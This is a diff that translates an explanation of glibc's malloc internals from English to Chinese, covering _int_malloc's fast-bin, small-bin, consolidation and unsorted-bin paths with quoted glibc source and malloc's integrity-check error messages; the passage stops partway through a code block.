-Note how it'll always tag the returned pointer with `tag_new_usable`, from the code:
-
+请注意,它将始终用 `tag_new_usable` 标记返回的指针,来自代码:
```c
- void *tag_new_usable (void *ptr)
+void *tag_new_usable (void *ptr)
- Allocate a new random color and use it to color the user region of
- a chunk; this may include data from the subsequent chunk's header
- if tagging is sufficiently fine grained. Returns PTR suitably
- recolored for accessing the memory there.
+Allocate a new random color and use it to color the user region of
+a chunk; this may include data from the subsequent chunk's header
+if tagging is sufficiently fine grained. Returns PTR suitably
+recolored for accessing the memory there.
```
-
## \_int_malloc
-This is the function that allocates memory using the other bins and top chunk.
+这是分配内存的函数,使用其他桶和顶部块。
-- Start
+- 开始
-It starts defining some vars and getting the real size the request memory space need to have:
+它开始定义一些变量并获取请求的内存空间需要的实际大小:
-_int_malloc start
-
+_int_malloc 开始
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3847
static void *
_int_malloc (mstate av, size_t bytes)
{
- INTERNAL_SIZE_T nb; /* normalized request size */
- unsigned int idx; /* associated bin index */
- mbinptr bin; /* associated bin */
+INTERNAL_SIZE_T nb; /* normalized request size */
+unsigned int idx; /* associated bin index */
+mbinptr bin; /* associated bin */
- mchunkptr victim; /* inspected/selected chunk */
- INTERNAL_SIZE_T size; /* its size */
- int victim_index; /* its bin index */
+mchunkptr victim; /* inspected/selected chunk */
+INTERNAL_SIZE_T size; /* its size */
+int victim_index; /* its bin index */
- mchunkptr remainder; /* remainder from a split */
- unsigned long remainder_size; /* its size */
+mchunkptr remainder; /* remainder from a split */
+unsigned long remainder_size; /* its size */
- unsigned int block; /* bit map traverser */
- unsigned int bit; /* bit map traverser */
- unsigned int map; /* current word of binmap */
+unsigned int block; /* bit map traverser */
+unsigned int bit; /* bit map traverser */
+unsigned int map; /* current word of binmap */
- mchunkptr fwd; /* misc temp for linking */
- mchunkptr bck; /* misc temp for linking */
+mchunkptr fwd; /* misc temp for linking */
+mchunkptr bck; /* misc temp for linking */
#if USE_TCACHE
- size_t tcache_unsorted_count; /* count of unsorted chunks processed */
+size_t tcache_unsorted_count; /* count of unsorted chunks processed */
#endif
- /*
- Convert request size to internal form by adding SIZE_SZ bytes
- overhead plus possibly more to obtain necessary alignment and/or
- to obtain a size of at least MINSIZE, the smallest allocatable
- size. Also, checked_request2size returns false for request sizes
- that are so large that they wrap around zero when padded and
- aligned.
- */
+/*
+Convert request size to internal form by adding SIZE_SZ bytes
+overhead plus possibly more to obtain necessary alignment and/or
+to obtain a size of at least MINSIZE, the smallest allocatable
+size. Also, checked_request2size returns false for request sizes
+that are so large that they wrap around zero when padded and
+aligned.
+*/
- nb = checked_request2size (bytes);
- if (nb == 0)
- {
- __set_errno (ENOMEM);
- return NULL;
- }
+nb = checked_request2size (bytes);
+if (nb == 0)
+{
+__set_errno (ENOMEM);
+return NULL;
+}
```
-
### Arena
-In the unlikely event that there aren't usable arenas, it uses `sysmalloc` to get a chunk from `mmap`:
+在不太可能没有可用的 arena 的情况下,它使用 `sysmalloc` 从 `mmap` 获取一个块:
_int_malloc not arena
-
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3885C3-L3893C6
/* There are no usable arenas. Fall back to sysmalloc to get a chunk from
- mmap. */
- if (__glibc_unlikely (av == NULL))
- {
- void *p = sysmalloc (nb, av);
- if (p != NULL)
- alloc_perturb (p, bytes);
- return p;
- }
+mmap. */
+if (__glibc_unlikely (av == NULL))
+{
+void *p = sysmalloc (nb, av);
+if (p != NULL)
+alloc_perturb (p, bytes);
+return p;
+}
```
-
### Fast Bin
-If the needed size is inside the Fast Bins sizes, try to use a chunk from the fast bin. Basically, based on the size, it'll find the fast bin index where valid chunks should be located, and if any, it'll return one of those.\
-Moreover, if tcache is enabled, it'll **fill the tcache bin of that size with fast bins**.
+如果所需的大小在快速堆的大小范围内,尝试使用快速堆中的一个块。基本上,根据大小,它会找到有效块应该位于的快速堆索引,如果有,它会返回其中一个。\
+此外,如果启用了 tcache,它会**用快速堆填充该大小的 tcache 堆**。
-While performing these actions, some security checks are executed in here:
+在执行这些操作时,会执行一些安全检查:
-- If the chunk is misaligned: `malloc(): unaligned fastbin chunk detected 2`
-- If the forward chunk is misaligned: `malloc(): unaligned fastbin chunk detected`
-- If the returned chunk has a size that isn't correct because of it's index in the fast bin: `malloc(): memory corruption (fast)`
-- If any chunk used to fill the tcache is misaligned: `malloc(): unaligned fastbin chunk detected 3`
+- 如果块未对齐:`malloc(): unaligned fastbin chunk detected 2`
+- 如果前向块未对齐:`malloc(): unaligned fastbin chunk detected`
+- 如果返回的块的大小因其在快速堆中的索引而不正确:`malloc(): memory corruption (fast)`
+- 如果用于填充 tcache 的任何块未对齐:`malloc(): unaligned fastbin chunk detected 3`
_int_malloc fast bin
-
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6
/*
- If the size qualifies as a fastbin, first check corresponding bin.
- This code is safe to execute even if av is not yet initialized, so we
- can try it without checking, which saves some time on this fast path.
- */
+If the size qualifies as a fastbin, first check corresponding bin.
+This code is safe to execute even if av is not yet initialized, so we
+can try it without checking, which saves some time on this fast path.
+*/
#define REMOVE_FB(fb, victim, pp) \
- do \
- { \
- victim = pp; \
- if (victim == NULL) \
- break; \
- pp = REVEAL_PTR (victim->fd); \
- if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \
- malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \
- } \
- while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \
- != victim); \
+do \
+{ \
+victim = pp; \
+if (victim == NULL) \
+break; \
+pp = REVEAL_PTR (victim->fd); \
+if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \
+malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \
+} \
+while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \
+!= victim); \
- if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
- {
- idx = fastbin_index (nb);
- mfastbinptr *fb = &fastbin (av, idx);
- mchunkptr pp;
- victim = *fb;
+if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
+{
+idx = fastbin_index (nb);
+mfastbinptr *fb = &fastbin (av, idx);
+mchunkptr pp;
+victim = *fb;
- if (victim != NULL)
- {
- if (__glibc_unlikely (misaligned_chunk (victim)))
- malloc_printerr ("malloc(): unaligned fastbin chunk detected 2");
+if (victim != NULL)
+{
+if (__glibc_unlikely (misaligned_chunk (victim)))
+malloc_printerr ("malloc(): unaligned fastbin chunk detected 2");
- if (SINGLE_THREAD_P)
- *fb = REVEAL_PTR (victim->fd);
- else
- REMOVE_FB (fb, pp, victim);
- if (__glibc_likely (victim != NULL))
- {
- size_t victim_idx = fastbin_index (chunksize (victim));
- if (__builtin_expect (victim_idx != idx, 0))
- malloc_printerr ("malloc(): memory corruption (fast)");
- check_remalloced_chunk (av, victim, nb);
+if (SINGLE_THREAD_P)
+*fb = REVEAL_PTR (victim->fd);
+else
+REMOVE_FB (fb, pp, victim);
+if (__glibc_likely (victim != NULL))
+{
+size_t victim_idx = fastbin_index (chunksize (victim));
+if (__builtin_expect (victim_idx != idx, 0))
+malloc_printerr ("malloc(): memory corruption (fast)");
+check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
- /* While we're here, if we see other chunks of the same size,
- stash them in the tcache. */
- size_t tc_idx = csize2tidx (nb);
- if (tcache != NULL && tc_idx < mp_.tcache_bins)
- {
- mchunkptr tc_victim;
+/* While we're here, if we see other chunks of the same size,
+stash them in the tcache. */
+size_t tc_idx = csize2tidx (nb);
+if (tcache != NULL && tc_idx < mp_.tcache_bins)
+{
+mchunkptr tc_victim;
- /* While bin not empty and tcache not full, copy chunks. */
- while (tcache->counts[tc_idx] < mp_.tcache_count
- && (tc_victim = *fb) != NULL)
- {
- if (__glibc_unlikely (misaligned_chunk (tc_victim)))
- malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
- if (SINGLE_THREAD_P)
- *fb = REVEAL_PTR (tc_victim->fd);
- else
- {
- REMOVE_FB (fb, pp, tc_victim);
- if (__glibc_unlikely (tc_victim == NULL))
- break;
- }
- tcache_put (tc_victim, tc_idx);
- }
- }
+/* While bin not empty and tcache not full, copy chunks. */
+while (tcache->counts[tc_idx] < mp_.tcache_count
+&& (tc_victim = *fb) != NULL)
+{
+if (__glibc_unlikely (misaligned_chunk (tc_victim)))
+malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
+if (SINGLE_THREAD_P)
+*fb = REVEAL_PTR (tc_victim->fd);
+else
+{
+REMOVE_FB (fb, pp, tc_victim);
+if (__glibc_unlikely (tc_victim == NULL))
+break;
+}
+tcache_put (tc_victim, tc_idx);
+}
+}
#endif
- void *p = chunk2mem (victim);
- alloc_perturb (p, bytes);
- return p;
- }
- }
- }
+void *p = chunk2mem (victim);
+alloc_perturb (p, bytes);
+return p;
+}
+}
+}
```
-
-### Small Bin
+### 小型堆
-As indicated in a comment, small bins hold one size per index, therefore checking if a valid chunk is available is super fast, so after fast bins, small bins are checked.
+正如评论中所指出的,小型堆每个索引只保存一种大小,因此检查是否有有效的块可用是非常快速的,因此在快速堆之后,会检查小型堆。
-The first check is to find out if the requested size could be inside a small bin. In that case, get the corresponded **index** inside the smallbin and see if there is **any available chunk**.
+第一次检查是找出请求的大小是否可能在小型堆中。在这种情况下,获取小型堆中对应的 **索引** 并查看是否有 **任何可用块**。
-Then, a security check is performed checking:
+然后,进行安全检查,检查:
-- if `victim->bk->fd = victim`. To see that both chunks are correctly linked.
+- 如果 `victim->bk->fd = victim`。以确保两个块正确链接。
-In that case, the chunk **gets the `inuse` bit,** the doubled linked list is fixed so this chunk disappears from it (as it's going to be used), and the non main arena bit is set if needed.
+在这种情况下,块 **设置 `inuse` 位,** 双向链表被修复,因此该块从中消失(因为它将被使用),并在需要时设置非主区域位。
-Finally, **fill the tcache index of the requested size** with other chunks inside the small bin (if any).
+最后,**用小型堆中的其他块(如果有)填充请求大小的 tcache 索引**。
-_int_malloc small bin
-
+_int_malloc 小型堆
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6
/*
- If a small request, check regular bin. Since these "smallbins"
- hold one size each, no searching within bins is necessary.
- (For a large request, we need to wait until unsorted chunks are
- processed to find best fit. But for small ones, fits are exact
- anyway, so we can check now, which is faster.)
- */
+If a small request, check regular bin. Since these "smallbins"
+hold one size each, no searching within bins is necessary.
+(For a large request, we need to wait until unsorted chunks are
+processed to find best fit. But for small ones, fits are exact
+anyway, so we can check now, which is faster.)
+*/
- if (in_smallbin_range (nb))
- {
- idx = smallbin_index (nb);
- bin = bin_at (av, idx);
+if (in_smallbin_range (nb))
+{
+idx = smallbin_index (nb);
+bin = bin_at (av, idx);
- if ((victim = last (bin)) != bin)
- {
- bck = victim->bk;
- if (__glibc_unlikely (bck->fd != victim))
- malloc_printerr ("malloc(): smallbin double linked list corrupted");
- set_inuse_bit_at_offset (victim, nb);
- bin->bk = bck;
- bck->fd = bin;
+if ((victim = last (bin)) != bin)
+{
+bck = victim->bk;
+if (__glibc_unlikely (bck->fd != victim))
+malloc_printerr ("malloc(): smallbin double linked list corrupted");
+set_inuse_bit_at_offset (victim, nb);
+bin->bk = bck;
+bck->fd = bin;
- if (av != &main_arena)
- set_non_main_arena (victim);
- check_malloced_chunk (av, victim, nb);
+if (av != &main_arena)
+set_non_main_arena (victim);
+check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
- /* While we're here, if we see other chunks of the same size,
- stash them in the tcache. */
- size_t tc_idx = csize2tidx (nb);
- if (tcache != NULL && tc_idx < mp_.tcache_bins)
- {
- mchunkptr tc_victim;
+/* While we're here, if we see other chunks of the same size,
+stash them in the tcache. */
+size_t tc_idx = csize2tidx (nb);
+if (tcache != NULL && tc_idx < mp_.tcache_bins)
+{
+mchunkptr tc_victim;
- /* While bin not empty and tcache not full, copy chunks over. */
- while (tcache->counts[tc_idx] < mp_.tcache_count
- && (tc_victim = last (bin)) != bin)
- {
- if (tc_victim != 0)
- {
- bck = tc_victim->bk;
- set_inuse_bit_at_offset (tc_victim, nb);
- if (av != &main_arena)
- set_non_main_arena (tc_victim);
- bin->bk = bck;
- bck->fd = bin;
+/* While bin not empty and tcache not full, copy chunks over. */
+while (tcache->counts[tc_idx] < mp_.tcache_count
+&& (tc_victim = last (bin)) != bin)
+{
+if (tc_victim != 0)
+{
+bck = tc_victim->bk;
+set_inuse_bit_at_offset (tc_victim, nb);
+if (av != &main_arena)
+set_non_main_arena (tc_victim);
+bin->bk = bck;
+bck->fd = bin;
- tcache_put (tc_victim, tc_idx);
- }
- }
- }
+tcache_put (tc_victim, tc_idx);
+}
+}
+}
#endif
- void *p = chunk2mem (victim);
- alloc_perturb (p, bytes);
- return p;
- }
- }
+void *p = chunk2mem (victim);
+alloc_perturb (p, bytes);
+return p;
+}
+}
```
-
### malloc_consolidate
-If it wasn't a small chunk, it's a large chunk, and in this case **`malloc_consolidate`** is called to avoid memory fragmentation.
+如果它不是一个小块,那就是一个大块,在这种情况下调用 **`malloc_consolidate`** 以避免内存碎片。
-malloc_consolidate call
-
+malloc_consolidate 调用
```c
/*
- If this is a large request, consolidate fastbins before continuing.
- While it might look excessive to kill all fastbins before
- even seeing if there is space available, this avoids
- fragmentation problems normally associated with fastbins.
- Also, in practice, programs tend to have runs of either small or
- large requests, but less often mixtures, so consolidation is not
- invoked all that often in most programs. And the programs that
- it is called frequently in otherwise tend to fragment.
- */
+If this is a large request, consolidate fastbins before continuing.
+While it might look excessive to kill all fastbins before
+even seeing if there is space available, this avoids
+fragmentation problems normally associated with fastbins.
+Also, in practice, programs tend to have runs of either small or
+large requests, but less often mixtures, so consolidation is not
+invoked all that often in most programs. And the programs that
+it is called frequently in otherwise tend to fragment.
+*/
- else
- {
- idx = largebin_index (nb);
- if (atomic_load_relaxed (&av->have_fastchunks))
- malloc_consolidate (av);
- }
+else
+{
+idx = largebin_index (nb);
+if (atomic_load_relaxed (&av->have_fastchunks))
+malloc_consolidate (av);
+}
```
-
-The malloc consolidate function basically removes chunks from the fast bin and places them into the unsorted bin. After the next malloc these chunks will be organized in their respective small/fast bins.
+malloc consolidate 函数基本上从快速 bin 中移除块,并将它们放入未排序的 bin 中。在下一个 malloc 之后,这些块将被组织到各自的小/快速 bins 中。
-Note that if while removing these chunks, if they are found with previous or next chunks that aren't in use they will be **unliked and merged** before placing the final chunk in the **unsorted** bin.
+请注意,如果在移除这些块时,发现它们与未使用的前一个或下一个块相连,它们将被 **解除链接并合并**,然后将最终块放入 **未排序** bin 中。
-For each fast bin chunk a couple of security checks are performed:
+对于每个快速 bin 块,会执行几个安全检查:
-- If the chunk is unaligned trigger: `malloc_consolidate(): unaligned fastbin chunk detected`
-- If the chunk has a different size that the one it should because of the index it's in: `malloc_consolidate(): invalid chunk size`
-- If the previous chunk is not in use and the previous chunk has a size different of the one indicated by `prev_chunk`: `corrupted size vs. prev_size in fastbins`
+- 如果块未对齐,触发: `malloc_consolidate(): unaligned fastbin chunk detected`
+- 如果块的大小与其所在索引应有的大小不同: `malloc_consolidate(): invalid chunk size`
+- 如果前一个块未使用,并且前一个块的大小与 `prev_chunk` 指示的大小不同: `corrupted size vs. prev_size in fastbins`
malloc_consolidate function
-
```c
// https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4810C1-L4905C2
static void malloc_consolidate(mstate av)
{
- mfastbinptr* fb; /* current fastbin being consolidated */
- mfastbinptr* maxfb; /* last fastbin (for loop control) */
- mchunkptr p; /* current chunk being consolidated */
- mchunkptr nextp; /* next chunk to consolidate */
- mchunkptr unsorted_bin; /* bin header */
- mchunkptr first_unsorted; /* chunk to link to */
+mfastbinptr* fb; /* current fastbin being consolidated */
+mfastbinptr* maxfb; /* last fastbin (for loop control) */
+mchunkptr p; /* current chunk being consolidated */
+mchunkptr nextp; /* next chunk to consolidate */
+mchunkptr unsorted_bin; /* bin header */
+mchunkptr first_unsorted; /* chunk to link to */
- /* These have same use as in free() */
- mchunkptr nextchunk;
- INTERNAL_SIZE_T size;
- INTERNAL_SIZE_T nextsize;
- INTERNAL_SIZE_T prevsize;
- int nextinuse;
+/* These have same use as in free() */
+mchunkptr nextchunk;
+INTERNAL_SIZE_T size;
+INTERNAL_SIZE_T nextsize;
+INTERNAL_SIZE_T prevsize;
+int nextinuse;
- atomic_store_relaxed (&av->have_fastchunks, false);
+atomic_store_relaxed (&av->have_fastchunks, false);
- unsorted_bin = unsorted_chunks(av);
+unsorted_bin = unsorted_chunks(av);
- /*
- Remove each chunk from fast bin and consolidate it, placing it
- then in unsorted bin. Among other reasons for doing this,
- placing in unsorted bin avoids needing to calculate actual bins
- until malloc is sure that chunks aren't immediately going to be
- reused anyway.
- */
+/*
+Remove each chunk from fast bin and consolidate it, placing it
+then in unsorted bin. Among other reasons for doing this,
+placing in unsorted bin avoids needing to calculate actual bins
+until malloc is sure that chunks aren't immediately going to be
+reused anyway.
+*/
- maxfb = &fastbin (av, NFASTBINS - 1);
- fb = &fastbin (av, 0);
- do {
- p = atomic_exchange_acquire (fb, NULL);
- if (p != 0) {
- do {
- {
- if (__glibc_unlikely (misaligned_chunk (p)))
- malloc_printerr ("malloc_consolidate(): "
- "unaligned fastbin chunk detected");
+maxfb = &fastbin (av, NFASTBINS - 1);
+fb = &fastbin (av, 0);
+do {
+p = atomic_exchange_acquire (fb, NULL);
+if (p != 0) {
+do {
+{
+if (__glibc_unlikely (misaligned_chunk (p)))
+malloc_printerr ("malloc_consolidate(): "
+"unaligned fastbin chunk detected");
- unsigned int idx = fastbin_index (chunksize (p));
- if ((&fastbin (av, idx)) != fb)
- malloc_printerr ("malloc_consolidate(): invalid chunk size");
- }
+unsigned int idx = fastbin_index (chunksize (p));
+if ((&fastbin (av, idx)) != fb)
+malloc_printerr ("malloc_consolidate(): invalid chunk size");
+}
- check_inuse_chunk(av, p);
- nextp = REVEAL_PTR (p->fd);
+check_inuse_chunk(av, p);
+nextp = REVEAL_PTR (p->fd);
- /* Slightly streamlined version of consolidation code in free() */
- size = chunksize (p);
- nextchunk = chunk_at_offset(p, size);
- nextsize = chunksize(nextchunk);
+/* Slightly streamlined version of consolidation code in free() */
+size = chunksize (p);
+nextchunk = chunk_at_offset(p, size);
+nextsize = chunksize(nextchunk);
- if (!prev_inuse(p)) {
- prevsize = prev_size (p);
- size += prevsize;
- p = chunk_at_offset(p, -((long) prevsize));
- if (__glibc_unlikely (chunksize(p) != prevsize))
- malloc_printerr ("corrupted size vs. prev_size in fastbins");
- unlink_chunk (av, p);
- }
+if (!prev_inuse(p)) {
+prevsize = prev_size (p);
+size += prevsize;
+p = chunk_at_offset(p, -((long) prevsize));
+if (__glibc_unlikely (chunksize(p) != prevsize))
+malloc_printerr ("corrupted size vs. prev_size in fastbins");
+unlink_chunk (av, p);
+}
- if (nextchunk != av->top) {
- nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
+if (nextchunk != av->top) {
+nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
- if (!nextinuse) {
- size += nextsize;
- unlink_chunk (av, nextchunk);
- } else
- clear_inuse_bit_at_offset(nextchunk, 0);
+if (!nextinuse) {
+size += nextsize;
+unlink_chunk (av, nextchunk);
+} else
+clear_inuse_bit_at_offset(nextchunk, 0);
- first_unsorted = unsorted_bin->fd;
- unsorted_bin->fd = p;
- first_unsorted->bk = p;
+first_unsorted = unsorted_bin->fd;
+unsorted_bin->fd = p;
+first_unsorted->bk = p;
- if (!in_smallbin_range (size)) {
- p->fd_nextsize = NULL;
- p->bk_nextsize = NULL;
- }
+if (!in_smallbin_range (size)) {
+p->fd_nextsize = NULL;
+p->bk_nextsize = NULL;
+}
- set_head(p, size | PREV_INUSE);
- p->bk = unsorted_bin;
- p->fd = first_unsorted;
- set_foot(p, size);
- }
+set_head(p, size | PREV_INUSE);
+p->bk = unsorted_bin;
+p->fd = first_unsorted;
+set_foot(p, size);
+}
- else {
- size += nextsize;
- set_head(p, size | PREV_INUSE);
- av->top = p;
- }
+else {
+size += nextsize;
+set_head(p, size | PREV_INUSE);
+av->top = p;
+}
- } while ( (p = nextp) != 0);
+} while ( (p = nextp) != 0);
- }
- } while (fb++ != maxfb);
+}
+} while (fb++ != maxfb);
}
```
-
-### Unsorted bin
+### 未排序的堆
-It's time to check the unsorted bin for a potential valid chunk to use.
+是时候检查未排序的堆以寻找潜在的有效块来使用。
-#### Start
+#### 开始
-This starts with a big for look that will be traversing the unsorted bin in the `bk` direction until it arrives til the end (the arena struct) with `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`
+这从一个大的 for 循环开始,该循环将沿着 `bk` 方向遍历未排序的堆,直到到达末尾(arena 结构),使用 `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`
-Moreover, some security checks are perform every time a new chunk is considered:
+此外,每当考虑一个新块时都会进行一些安全检查:
-- If the chunk size is weird (too small or too big): `malloc(): invalid size (unsorted)`
-- If the next chunk size is weird (too small or too big): `malloc(): invalid next size (unsorted)`
-- If the previous size indicated by the next chunk differs from the size of the chunk: `malloc(): mismatching next->prev_size (unsorted)`
-- If not `victim->bck->fd == victim` or not `victim->fd == av` (arena): `malloc(): unsorted double linked list corrupted`
- - As we are always checking the las one, it's `fd` should be pointing always to the arena struct.
-- If the next chunk isn't indicating that the previous is in use: `malloc(): invalid next->prev_inuse (unsorted)`
+- 如果块大小异常(太小或太大):`malloc(): invalid size (unsorted)`
+- 如果下一个块大小异常(太小或太大):`malloc(): invalid next size (unsorted)`
+- 如果下一个块指示的前一个大小与块的大小不同:`malloc(): mismatching next->prev_size (unsorted)`
+- 如果不是 `victim->bck->fd == victim` 或不是 `victim->fd == av`(arena):`malloc(): unsorted double linked list corrupted`
+- 由于我们始终检查最后一个,它的 `fd` 应始终指向 arena 结构。
+- 如果下一个块没有指示前一个块正在使用:`malloc(): invalid next->prev_inuse (unsorted)`
-_int_malloc unsorted bin start
-
+_int_malloc 未排序的堆开始
```c
/*
- Process recently freed or remaindered chunks, taking one only if
- it is exact fit, or, if this a small request, the chunk is remainder from
- the most recent non-exact fit. Place other traversed chunks in
- bins. Note that this step is the only place in any routine where
- chunks are placed in bins.
+Process recently freed or remaindered chunks, taking one only if
+it is exact fit, or, if this a small request, the chunk is remainder from
+the most recent non-exact fit. Place other traversed chunks in
+bins. Note that this step is the only place in any routine where
+chunks are placed in bins.
- The outer loop here is needed because we might not realize until
- near the end of malloc that we should have consolidated, so must
- do so and retry. This happens at most once, and only when we would
- otherwise need to expand memory to service a "small" request.
- */
+The outer loop here is needed because we might not realize until
+near the end of malloc that we should have consolidated, so must
+do so and retry. This happens at most once, and only when we would
+otherwise need to expand memory to service a "small" request.
+*/
#if USE_TCACHE
- INTERNAL_SIZE_T tcache_nb = 0;
- size_t tc_idx = csize2tidx (nb);
- if (tcache != NULL && tc_idx < mp_.tcache_bins)
- tcache_nb = nb;
- int return_cached = 0;
+INTERNAL_SIZE_T tcache_nb = 0;
+size_t tc_idx = csize2tidx (nb);
+if (tcache != NULL && tc_idx < mp_.tcache_bins)
+tcache_nb = nb;
+int return_cached = 0;
- tcache_unsorted_count = 0;
+tcache_unsorted_count = 0;
#endif
- for (;; )
- {
- int iters = 0;
- while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
- {
- bck = victim->bk;
- size = chunksize (victim);
- mchunkptr next = chunk_at_offset (victim, size);
+for (;; )
+{
+int iters = 0;
+while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
+{
+bck = victim->bk;
+size = chunksize (victim);
+mchunkptr next = chunk_at_offset (victim, size);
- if (__glibc_unlikely (size <= CHUNK_HDR_SZ)
- || __glibc_unlikely (size > av->system_mem))
- malloc_printerr ("malloc(): invalid size (unsorted)");
- if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ)
- || __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
- malloc_printerr ("malloc(): invalid next size (unsorted)");
- if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
- malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
- if (__glibc_unlikely (bck->fd != victim)
- || __glibc_unlikely (victim->fd != unsorted_chunks (av)))
- malloc_printerr ("malloc(): unsorted double linked list corrupted");
- if (__glibc_unlikely (prev_inuse (next)))
- malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
+if (__glibc_unlikely (size <= CHUNK_HDR_SZ)
+|| __glibc_unlikely (size > av->system_mem))
+malloc_printerr ("malloc(): invalid size (unsorted)");
+if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ)
+|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
+malloc_printerr ("malloc(): invalid next size (unsorted)");
+if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
+malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
+if (__glibc_unlikely (bck->fd != victim)
+|| __glibc_unlikely (victim->fd != unsorted_chunks (av)))
+malloc_printerr ("malloc(): unsorted double linked list corrupted");
+if (__glibc_unlikely (prev_inuse (next)))
+malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
```
-
-#### if `in_smallbin_range`
+#### 如果 `in_smallbin_range`
-If the chunk is bigger than the requested size use it, and set the rest of the chunk space into the unsorted list and update the `last_remainder` with it.
+如果块的大小大于请求的大小,则使用它,并将块的其余空间设置为未排序列表,并用它更新 `last_remainder`。
-_int_malloc unsorted bin in_smallbin_range
-
+_int_malloc 未排序的 bin in_smallbin_range
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4090C11-L4124C14
/*
- If a small request, try to use last remainder if it is the
- only chunk in unsorted bin. This helps promote locality for
- runs of consecutive small requests. This is the only
- exception to best-fit, and applies only when there is
- no exact fit for a small chunk.
- */
+If a small request, try to use last remainder if it is the
+only chunk in unsorted bin. This helps promote locality for
+runs of consecutive small requests. This is the only
+exception to best-fit, and applies only when there is
+no exact fit for a small chunk.
+*/
- if (in_smallbin_range (nb) &&
- bck == unsorted_chunks (av) &&
- victim == av->last_remainder &&
- (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
- {
- /* split and reattach remainder */
- remainder_size = size - nb;
- remainder = chunk_at_offset (victim, nb);
- unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
- av->last_remainder = remainder;
- remainder->bk = remainder->fd = unsorted_chunks (av);
- if (!in_smallbin_range (remainder_size))
- {
- remainder->fd_nextsize = NULL;
- remainder->bk_nextsize = NULL;
- }
+if (in_smallbin_range (nb) &&
+bck == unsorted_chunks (av) &&
+victim == av->last_remainder &&
+(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
+{
+/* split and reattach remainder */
+remainder_size = size - nb;
+remainder = chunk_at_offset (victim, nb);
+unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
+av->last_remainder = remainder;
+remainder->bk = remainder->fd = unsorted_chunks (av);
+if (!in_smallbin_range (remainder_size))
+{
+remainder->fd_nextsize = NULL;
+remainder->bk_nextsize = NULL;
+}
- set_head (victim, nb | PREV_INUSE |
- (av != &main_arena ? NON_MAIN_ARENA : 0));
- set_head (remainder, remainder_size | PREV_INUSE);
- set_foot (remainder, remainder_size);
+set_head (victim, nb | PREV_INUSE |
+(av != &main_arena ? NON_MAIN_ARENA : 0));
+set_head (remainder, remainder_size | PREV_INUSE);
+set_foot (remainder, remainder_size);
- check_malloced_chunk (av, victim, nb);
- void *p = chunk2mem (victim);
- alloc_perturb (p, bytes);
- return p;
- }
+check_malloced_chunk (av, victim, nb);
+void *p = chunk2mem (victim);
+alloc_perturb (p, bytes);
+return p;
+}
```
-
-If this was successful, return the chunk ant it's over, if not, continue executing the function...
+如果成功,返回块并结束,如果不成功,继续执行函数...
-#### if equal size
+#### 如果大小相等
-Continue removing the chunk from the bin, in case the requested size is exactly the one of the chunk:
+继续从堆中移除块,以防请求的大小正好是块的大小:
-- If the tcache is not filled, add it to the tcache and continue indicating that there is a tcache chunk that could be used
-- If tcache is full, just use it returning it
+- 如果 tcache 没有填满,将其添加到 tcache 中,并继续指示可以使用 tcache 块
+- 如果 tcache 已满,则直接使用它并返回
-_int_malloc unsorted bin equal size
-
+_int_malloc 未排序堆相等大小
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4126C11-L4157C14
/* remove from unsorted list */
- unsorted_chunks (av)->bk = bck;
- bck->fd = unsorted_chunks (av);
+unsorted_chunks (av)->bk = bck;
+bck->fd = unsorted_chunks (av);
- /* Take now instead of binning if exact fit */
+/* Take now instead of binning if exact fit */
- if (size == nb)
- {
- set_inuse_bit_at_offset (victim, size);
- if (av != &main_arena)
- set_non_main_arena (victim);
+if (size == nb)
+{
+set_inuse_bit_at_offset (victim, size);
+if (av != &main_arena)
+set_non_main_arena (victim);
#if USE_TCACHE
- /* Fill cache first, return to user only if cache fills.
- We may return one of these chunks later. */
- if (tcache_nb > 0
- && tcache->counts[tc_idx] < mp_.tcache_count)
- {
- tcache_put (victim, tc_idx);
- return_cached = 1;
- continue;
- }
- else
- {
+/* Fill cache first, return to user only if cache fills.
+We may return one of these chunks later. */
+if (tcache_nb > 0
+&& tcache->counts[tc_idx] < mp_.tcache_count)
+{
+tcache_put (victim, tc_idx);
+return_cached = 1;
+continue;
+}
+else
+{
#endif
- check_malloced_chunk (av, victim, nb);
- void *p = chunk2mem (victim);
- alloc_perturb (p, bytes);
- return p;
